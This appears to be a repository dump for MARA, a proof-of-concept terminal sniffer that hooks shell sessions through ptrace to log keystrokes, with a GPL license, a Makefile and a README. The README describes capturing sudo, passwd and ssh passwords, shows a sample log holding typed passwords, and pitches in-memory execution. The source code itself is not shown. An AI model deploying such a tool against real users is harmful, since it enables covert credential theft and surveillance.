├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── ctty ├── LICENSE ├── Makefile ├── README.md ├── ctty.c ├── libctty.c └── libctty.h ├── log.c ├── main.c ├── mara.h ├── ptrace_do ├── LICENSE ├── Makefile ├── README.md ├── libptrace_do.c ├── libptrace_do.h ├── parse_maps.c └── test.c └── shelljack.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=musl-gcc 2 | CFLAGS= -I . -Wall -ggdb -g 3 | CFLAGS= -I. -Ictty -Iptrace_do -Wall -Os -s -static 4 | 5 | BIN=mara 6 | all: 7 | make -C ptrace_do 8 | make -C ctty libctty.a 9 | $(CC) $(CFLAGS) main.c log.c shelljack.c -o $(BIN) ptrace_do/libptrace_do.a ctty/libctty.a 10 | clean: 11 | make -C ptrace_do clean 12 | make -C ctty clean 13 | rm $(BIN) 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MARA 2 | 3 | MARA is a proof of concept tool waiting for shell execution with associated pty/tty using netlink socket to sniff user's terminal, as a static binary it works well with in memory execution using DEGU. 4 | 5 | Concept behind this project comes from emptymonkey method of mitm a terminal ( look at [shelljack](https://github.com/emptymonkey/shelljack) project ) to intercept and log user session (including ssh session passwd sudo su passwords etc.) 6 | 7 | To build it you need musl-gcc with musl kernel-headers for netlink objects 8 | 9 | ``` 10 | $ make 11 | make -C ptrace_do 12 | make[1]: Entering directory '/home/user/work/mara/ptrace_do' 13 | make[1]: Nothing to be done for 'all'. 14 | make[1]: Leaving directory '/home/user/work/mara/ptrace_do' 15 | make -C ctty 16 | make[1]: Entering directory '/home/user/work/mara/ctty' 17 | make[1]: Nothing to be done for 'all'. 18 | make[1]: Leaving directory '/home/user/work/mara/ctty' 19 | musl-gcc -I. -Ictty -Iptrace_do -Wall -Os -s -static main.c log.c shelljack.c -o mara ptrace_do/libptrace_do.a ctty/libctty.a 20 | $ sudo ./mara 21 | (151814) 15:09:05.486343: main.c jack #34 handle pid=151820 exe=/usr/bin/bash stdin=/proc/151820/fd/0 pty=/dev/pts/3 user=user 22 | ^C 23 | $ sudo cat /tmp/user_151820_1659445745 24 | 15:09 user@x03:~$ export LC_ALL=C 25 | 15:09 user@x03:~$ echo sniffed term ? 26 | sniffed term ? 27 | 15:09 user@x03:~$ sudo su 28 | [sudo] password for user: sniffed sudo ? 29 | Sorry, try again. 30 | [sudo] password for user: 31 | Sorry, try again. 32 | [sudo] password for user: 33 | sudo: 3 incorrect password attempts 34 | 15:09 user@x03:~$ passwd 35 | Changing password for user. 36 | Current password: sniffed passw ? 37 | passwd: Authentication failure 38 | passwd: password unchanged 39 | 15:09 user@x03:~$ ssh localhost -l sniffed 40 | sniffed@localhost: Permission denied (publickey). 41 | 15:09 user@x03:~$ 42 | exit 43 | $ 44 | 45 | ``` 46 | 47 | 48 | -------------------------------------------------------------------------------- /ctty/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (C) 2013 emptymonkey 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A 